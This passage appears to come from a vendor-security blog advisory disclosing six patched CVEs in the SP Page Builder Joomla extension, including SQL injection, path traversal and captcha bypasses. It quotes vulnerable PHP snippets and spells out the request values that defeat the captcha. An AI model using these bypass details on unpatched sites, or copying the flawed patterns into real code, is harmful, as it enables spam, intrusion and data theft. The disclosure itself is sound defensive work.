&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.6&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;Joomla CNA, published 14 September 2026 · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78375/&quot;&gt;CVE-2026-78375&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;An Author account, the lowest authenticated role on a default Joomla site and one an attacker can often self-register, reads the entire database through a blind time-based injection: every user record, every session, and the Super User password hash. The one precondition is that SP Page Builder&apos;s com_content integration plugin is enabled, which it is on any site using the builder inside articles.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Author account&lt;/span&gt;&lt;span&gt;Blind SQL injection&lt;/span&gt;&lt;span&gt;Full database read&lt;/span&gt;&lt;span&gt;Password hashes exposed&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:H&lt;/dt&gt;&lt;dd&gt;High: Needs an account with elevated rights&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;PR:H&lt;/code&gt; in that vector does not mean an administrator. The Joomla CNA uses it for anything above a plain Registered user, so an Author qualifies, which is the point of the finding. &lt;code&gt;VI:H/VA:H&lt;/code&gt; is more than we would have given it: our own read was 7.1 High on a read-only vector, because the injection extracts data rather than writing it. The record scores control of the query itself rather than what we did with it on the test site. Either way it is the worst of the six, and either way the answer is 6.9.1.&lt;/p&gt;
&lt;h2&gt;The captcha check that does not run&lt;/h2&gt;
&lt;p&gt;The second finding scores lower and is in some ways the more interesting one, because it needed no account at all. On an unpatched site it is the only one of the five an anonymous attacker can reach. SP Page Builder Pro ships three form addons: the contact form, the opt-in form, and the form builder. Each verifies its captcha in a public AJAX handler that anyone on the internet can call. All three are Pro features, so the free Lite edition was never exposed to this one.&lt;/p&gt;
&lt;p&gt;There were two separate ways past that handler, and they are worth keeping apart because they have different histories.&lt;/p&gt;
&lt;h3&gt;Route one: declare the form is in a module&lt;/h3&gt;
&lt;p&gt;The handler reads a value called &lt;code&gt;view_type&lt;/code&gt; straight from the request, and when that value says the form is being rendered inside a module, the code throws away the real captcha result and replaces it with a check of whether the submitted string is simply non-empty:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$res &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Factory&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;getApplication&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;triggerEvent&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;onCheckAnswer&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, [$gcaptcha]);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; ($view_type &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;module&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $res &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ($gcaptcha &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; null&lt;/span&gt;&lt;span&gt; ||&lt;/span&gt;&lt;span&gt; strlen&lt;/span&gt;&lt;span&gt;($gcaptcha) &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; 0&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;?&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first line asks Google whether the reCAPTCHA token is valid. The second line overwrites that answer with “did they type anything at all”. Because &lt;code&gt;view_type&lt;/code&gt; comes from the request and nothing checks it against reality, an attacker just declares &lt;code&gt;view_type=module&lt;/code&gt; and the captcha is gone. We confirmed it against a form configured for reCAPTCHA: the exact same junk token was rejected as a normal page submission and accepted once we flipped that one field, then reached the mailing-platform submission behind the form.&lt;/p&gt;
&lt;p&gt;That shortcut was present in all three form addons, in identical form, down to the comment above it.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;6.9&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;Joomla CNA, published 14 September 2026 · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-79701/&quot;&gt;CVE-2026-79701&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Scored Medium because nothing on the Joomla site itself changes, which understates the real cost. An anonymous visitor defeats the captcha the site owner configured, so every SP Page Builder Pro form becomes an open target for spam, list poisoning and mail sent from the site&apos;s own identity, on a site whose owner believes the forms are protected.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Exploitable over the internet&lt;/span&gt;&lt;span&gt;Captcha not verified&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:L&lt;/dt&gt;&lt;dd&gt;Low: The site slows or stutters&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;Route two: the captcha that grades its own homework&lt;/h3&gt;
&lt;p&gt;The second route is the one JoomShaper’s changelog describes, and it has the longer history. SP Page Builder’s built-in question captcha asks the visitor something simple and checks the answer. In the opt-in form, that check read:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt; if&lt;/span&gt;&lt;span&gt; ($captcha_type &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; md5&lt;/span&gt;&lt;span&gt;($captcha_question) &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; $captcha_answer) {&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The question, the answer and the captcha type all came out of the submitted request. Both sides of that comparison belong to the attacker, so posting any question, its own MD5, and &lt;code&gt;captcha_type=default&lt;/code&gt; passes every time. Because the type came from the request too, a form the site owner had configured for reCAPTCHA could be downgraded to the question captcha on the way in, with nothing on the page to show it.&lt;/p&gt;
&lt;p&gt;We had seen this pattern before. &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;Reporting the July mail relay&lt;/a&gt; we noted in passing that the contact form’s question captcha compared two attacker-supplied values and so verified nothing. That was context for the relay finding rather than a finding of its own, and no CVE covers it. JoomShaper did fix it, in the contact form and in the form builder, and that fix shipped in 6.9.0 with a comment above it reading “Read the expected answer from the stored addon, never from the request.”&lt;/p&gt;
&lt;p&gt;The opt-in form, the third member of the same family, sitting in the same directory and running the same code, received neither the comment nor the fix. That untouched line is what we reported on 8 September, in the very release that had just repaired its two siblings.&lt;/p&gt;
&lt;p&gt;6.9.1 closes both routes in all three addons at once. The captcha type, the expected answer and whether a captcha is required at all are now read from the stored addon, and the captcha plugin’s answer is the one that counts, in every render context. The changelog credits only the opt-in form, which undersells the work: the module shortcut is gone from the contact form and the form builder too.&lt;/p&gt;
&lt;h2&gt;The other three&lt;/h2&gt;
&lt;p&gt;Reported and fixed in the same 6.9.1 release, all three needing a low-trust logged-in account rather than an anonymous visitor:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Finding&lt;/th&gt;&lt;th&gt;Who can reach it&lt;/th&gt;&lt;th&gt;What it does&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Media file rename outside the web root&lt;/td&gt;&lt;td&gt;Editor&lt;/td&gt;&lt;td&gt;The rename endpoint took a target path from the request without confining it to the media folders, so a chosen file could be renamed to a path that climbed out of the web root. Renaming the wrong core file takes the site down.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla menu takeover&lt;/td&gt;&lt;td&gt;Editor&lt;/td&gt;&lt;td&gt;The “add to menu” action called Joomla’s menu-item model directly, skipping the com_menus permission check, so an Editor could create menu items or overwrite an existing one, the site’s home item included.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;File write into the web root&lt;/td&gt;&lt;td&gt;Author&lt;/td&gt;&lt;td&gt;The upload endpoint accepted a destination folder from the request without confining it, letting an Author write an uploaded file into directories across the web root rather than only the dated media folder.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;6.9.1 adds a real permission check to the menu action, and confines both media paths to the configured media folders, rejecting any attempt to climb above them.&lt;/p&gt;
&lt;p&gt;All five findings at a glance, against the six CVE records the Joomla CNA published on 14 September. Six rather than five because the captcha bypass was split into one record per route, which is the right call: they are separate defects with separate histories. Scores, affected ranges and weakness classes below are the published ones. Every record names Phil Taylor of mySites.guru as the finder.&lt;/p&gt;





























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Finding&lt;/th&gt;&lt;th&gt;Who&lt;/th&gt;&lt;th&gt;Editions&lt;/th&gt;&lt;th&gt;Affected&lt;/th&gt;&lt;th&gt;CVSS 4.0&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78375/&quot;&gt;CVE-2026-78375&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Blind SQL injection, full database read (CWE-89)&lt;/td&gt;&lt;td&gt;Author&lt;/td&gt;&lt;td&gt;Pro and Lite&lt;/td&gt;&lt;td&gt;5.2.1 to 6.9.0&lt;/td&gt;&lt;td&gt;8.6 High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-79700/&quot;&gt;CVE-2026-79700&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Captcha bypass, opt-in form, settings taken from the request (CWE-807)&lt;/td&gt;&lt;td&gt;Anonymous&lt;/td&gt;&lt;td&gt;Pro only&lt;/td&gt;&lt;td&gt;5.1.4 to 6.9.0&lt;/td&gt;&lt;td&gt;6.9 Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-79701/&quot;&gt;CVE-2026-79701&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Captcha bypass, all three form addons rendered in a module (CWE-807)&lt;/td&gt;&lt;td&gt;Anonymous&lt;/td&gt;&lt;td&gt;Pro only&lt;/td&gt;&lt;td&gt;3.2.6 to 6.9.0&lt;/td&gt;&lt;td&gt;6.9 Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81564/&quot;&gt;CVE-2026-81564&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Media file rename reaching outside the web root (CWE-22)&lt;/td&gt;&lt;td&gt;Editor&lt;/td&gt;&lt;td&gt;Pro and Lite&lt;/td&gt;&lt;td&gt;4.0.0 to 6.9.0&lt;/td&gt;&lt;td&gt;7.0 High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81565/&quot;&gt;CVE-2026-81565&lt;/a&gt;&lt;/td&gt;&lt;td&gt;File write into the web root media tree (CWE-22)&lt;/td&gt;&lt;td&gt;Author&lt;/td&gt;&lt;td&gt;Pro and Lite&lt;/td&gt;&lt;td&gt;4.0.0 to 6.9.0&lt;/td&gt;&lt;td&gt;6.9 Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81566/&quot;&gt;CVE-2026-81566&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Joomla menu create and overwrite without com_menus rights (CWE-284)&lt;/td&gt;&lt;td&gt;Editor&lt;/td&gt;&lt;td&gt;Pro and Lite&lt;/td&gt;&lt;td&gt;4.0.0 to 6.9.0&lt;/td&gt;&lt;td&gt;5.1 Medium&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Our own assessments, written before the records published, agreed within a couple of tenths on four of the six. Two moved: the menu takeover we scored 7.1 High is published at 5.1 Medium, and the web-root file write we scored 5.3 Medium is published at 6.9 Medium. Where the published record and our reading differ, the record is what scanners and auditors act on, so it is the number this post leads with.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The vendor changelog transposes two of the six identifiers&lt;/p&gt;&lt;div&gt;&lt;p&gt;JoomShaper’s 6.9.1 changelog attaches &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81565/&quot;&gt;CVE-2026-81565&lt;/a&gt; to the menu permission fix and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81566/&quot;&gt;CVE-2026-81566&lt;/a&gt; to the media upload fix. The published records attach them the other way round: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81565/&quot;&gt;CVE-2026-81565&lt;/a&gt; is the media upload, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-81566/&quot;&gt;CVE-2026-81566&lt;/a&gt; is the menu item. The table above follows the records, which are the authority for what an identifier means; an earlier version of this page followed the changelog. The difference shows up the moment you file these against an internal ticket or a client report, because the two findings send you to different accounts: the media upload is reachable by an Author, the menu item by an Editor.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;The pattern, four rounds in&lt;/h2&gt;
&lt;p&gt;This is the fourth consecutive round of findings we have reported in SP Page Builder, and each has told the same story: the fix reaches the exact file that was reported, and not the siblings running the same code. The &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/&quot;&gt;6.8.0 remote code execution&lt;/a&gt; sat in the method directly below the one hardened in 6.7.1. The question captcha above had been repaired in two of the three form addons in 6.9.0, with the corrected code sitting a few files away from the third as a template for the fix that was never applied.&lt;/p&gt;
&lt;p&gt;The rename finding turns out to be a sharper version of the same problem, and JoomShaper documented it themselves. The comment they shipped above the fixed line in 6.9.1 records that an internal commit on 7 September had weakened the check from an AND to an OR, reopening the arbitrary file rename and undoing an earlier fix for the same issue. We reported it the next day, not knowing any of that. A bug they had already closed once was live again for roughly twenty-four hours before an outsider found it.&lt;/p&gt;
&lt;p&gt;Two things are worth saying about that. Writing it down in the shipped source, naming the commit and the regression, is more candid than most vendors manage, and the same comment says a regression guard now exists to stop it happening a third time. And it makes the case better than we could: a security fix can be undone as easily as it can be missed.&lt;/p&gt;
&lt;p&gt;None of this makes SP Page Builder unusually bad. It is a large, capable, heavily used component, and the vendor fixes what we send them, quickly. The lesson is one every developer can borrow: when you fix a security bug, grep for the pattern across the whole codebase, then write the test that fails if anyone takes the fix back out.&lt;/p&gt;
&lt;h2&gt;Why keeping SP Page Builder patched matters&lt;/h2&gt;
&lt;p&gt;SP Page Builder is a mainstream choice, not a niche add-on. Across the Joomla sites mySites.guru actively monitors, &lt;strong&gt;roughly one in four, about 23%, run it&lt;/strong&gt;. Only YOOtheme Pro is on more, and between them those two account for most of the Joomla page-builder market we can see: the next most common builder after them appears on well under a tenth as many sites. A flaw in a component with that kind of reach exposes a large slice of the whole Joomla web at once, and attackers know exactly which component to point a scanner at.&lt;/p&gt;
&lt;p&gt;The version spread is the encouraging half of the picture. About 72% of the SP Page Builder installs we monitor were already on 6.8.0 or 6.9.0, the two most recent releases before this fix, so most site owners do take these updates and 6.9.1 will reach them through the normal updater.&lt;/p&gt;
&lt;p&gt;The tail is where it gets difficult. Roughly a fifth are on SP Page Builder 5.x or older, and 86% of those sites are still running Joomla 3, where the 6.x package cannot install at all. Taken together, about &lt;strong&gt;one in five SP Page Builder installs we monitor sits on a Joomla 3 site&lt;/strong&gt;, with no route to 6.9.1 whatsoever.&lt;/p&gt;
&lt;p&gt;That reach is also why the “needs an Author account” or “needs the content plugin enabled” caveats on some of these findings matter less than they sound. On a base this large there are always sites that allow self-registration, sites that use the builder inside articles, and sites with a stale low-trust account no one has thought about in years. A precondition that trims the exposure on one site does nothing to the total across tens of thousands.&lt;/p&gt;
&lt;h2&gt;Joomla 3 sites need a different package&lt;/h2&gt;
&lt;div&gt;&lt;p&gt;Update, 30 September 2026: version 1.0.3 completes the Joomla 3 patch&lt;/p&gt;&lt;p&gt;The gaps described below were in version 1.0.2, the patch as it first shipped on 14 September. We found two of them and reported them the same day, and JoomShaper released &lt;strong&gt;version 1.0.3&lt;/strong&gt; on 30 September to close them: the captcha bypass is now fixed on the Joomla 3 branch, the opt-in form addon is shipped for the first time, and an incomplete cross-site scripting fix is corrected. The full account is in &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-joomla-3-security-patch-1-0-3/&quot;&gt;SP Page Builder’s Joomla 3 Security Patch Was Incomplete&lt;/a&gt;. The install limit and the version-invisibility problem described below still apply.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;JoomShaper released a third package on the same day: the Joomla 3 Security Patch for SP Page Builder, version 1.0.2. As it first shipped it back-ported four of the five fixes to the Joomla 3 branch, and the captcha work was not part of it (see the update above).&lt;/p&gt;
&lt;p&gt;The bigger limitation is who can install it. The patch checks the installed version and will not run on anything except SP Page Builder 5.6.1 exactly. Across the Joomla 3 sites we monitor that run SP Page Builder, &lt;strong&gt;only about 3% are on 5.6.1&lt;/strong&gt;. For the other 97%, this patch will not install, and neither will 6.9.1.&lt;/p&gt;
&lt;p&gt;There is a second problem, and it is the one we had already asked JoomShaper to avoid. The patch installs as a Joomla file package: it overwrites files in place and leaves the component’s own version reading 5.6.1, exactly as before. To any updater, and to any scanner that works from version numbers, a Joomla 3 site that has applied it looks identical to one that has not. That is also why our own vulnerability rule for this round stops at the 6.x line rather than flagging 5.6.1: a site that did everything right would have no way to clear the warning.&lt;/p&gt;
&lt;p&gt;We have written this paragraph before. JoomShaper’s &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;third Joomla 3 security patch for Helix Ultimate&lt;/a&gt; reused the version string &lt;code&gt;2.1.4-j3sec&lt;/code&gt; for the same reason, leaving Joomla 3 sites unable to tell whether they held it. The same objection is why we sent back their first fix build for this round on 8 September. A security patch you cannot detect is one you cannot manage across more than a handful of sites.&lt;/p&gt;
&lt;h3&gt;How we handle it instead&lt;/h3&gt;
&lt;p&gt;Version numbers being useless here is why mySites.guru does not use them for these packages. For all three of &lt;a href=&quot;https://joomla3security.com/vendors/joomshaper/&quot;&gt;JoomShaper’s Joomla 3 security patches&lt;/a&gt;, Helix Ultimate and Helix3 as well as SP Page Builder, we look inside the installed files for a string that only exists in a given release of the patch. That answers two separate questions that a version number cannot: whether any patch has been applied at all, and whether the one applied is the current release. As of today that check knows about SP Page Builder patch 1.0.3, so a Joomla 3 site still on 1.0.2 reports as outdated instead of showing a green tick it has not earned.&lt;/p&gt;
&lt;p&gt;We also host the vendor’s own package, pinned by SHA-256 so what reaches the site is the file JoomShaper published rather than a copy of it, and install it through Joomla’s native installer from the mySites.guru UI in one click, with a revert. Using the vendor’s whole package matters: the patched files call methods that only exist in other patched files, so splicing one file at a time produces a site that fatals.&lt;/p&gt;
&lt;p&gt;None of that helps the SP Page Builder 3.8.x sites, which are the largest group on Joomla 3. The vendor’s package installs onto 5.6.1 and nothing else, so those sites get no official fix at all, and there is no version of this that ends with a comfortable answer for them. Joomla 3 reached end of life in August 2023 and the extensions built for it are following it out. The fix there is the migration you have been putting off rather than any patch.&lt;/p&gt;
&lt;p&gt;In the meantime, the findings that need a logged-in account are the ones to think about hardest on those sites: audit who holds Author and Editor, and turn off self-registration if nothing depends on it.&lt;/p&gt;
&lt;h2&gt;Every SP Page Builder flaw we have reported&lt;/h2&gt;
&lt;p&gt;Four rounds in five months, each found by reading the code or the access logs, each reported privately to JoomShaper before any public detail. In order:&lt;/p&gt;
&lt;h3&gt;June 2026, fixed in 6.6.2&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Found in live exploitation. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt;, CVSS 10.0, added to the &lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;CISA Known Exploited Vulnerabilities catalog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;asset.uploadCustomIcon&lt;/code&gt; unauthenticated upload to remote code execution.&lt;/strong&gt; No login, no file-type check: an anonymous visitor could upload and run a PHP web shell. We traced it in real access logs being used to plant hidden Super User accounts, so we treated it as a zero day and published the same day. Every version up to 6.6.1 was affected. &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;Full write-up&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;July 2026, fixed in 6.7.1&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Reported privately in an audit of 6.7.0, pre-release build shared 23 July, fixed on 27 July. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65766/&quot;&gt;CVE-2026-65766&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65877/&quot;&gt;CVE-2026-65877&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65878/&quot;&gt;CVE-2026-65878&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65879/&quot;&gt;CVE-2026-65879&lt;/a&gt;, credited to Phil Taylor.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Pre-authentication SQL injection&lt;/strong&gt; in the Dynamic Content endpoint, reachable with only the CSRF token Joomla hands every anonymous visitor, reading the whole database.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated open mail relay&lt;/strong&gt; in the contact-form addons, because every copy of the extension shipped the same hardcoded secret that was supposed to protect the recipient address.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Author-level SQL injection&lt;/strong&gt; in the media manager search.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Author-level arbitrary file delete.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;Full write-up&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;August 2026, fixed in 6.8.0&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Reported 27 July, fixed on 12 August, sixteen days after 6.7.1. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67285/&quot;&gt;CVE-2026-67285&lt;/a&gt;, CVSS 9.3 Critical, and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67286/&quot;&gt;CVE-2026-67286&lt;/a&gt;, Medium, credited to Phil Taylor.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated PHP file inclusion&lt;/strong&gt; in the Dynamic Content “load more” endpoint: pre-authentication remote code execution, sitting in the method directly below the one 6.7.1 had just hardened, so the previous fix release was itself vulnerable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated arbitrary directory creation and file write&lt;/strong&gt; on the same endpoint.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/&quot;&gt;Full write-up&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;September 2026, fixed in 6.9.1&lt;/h3&gt;
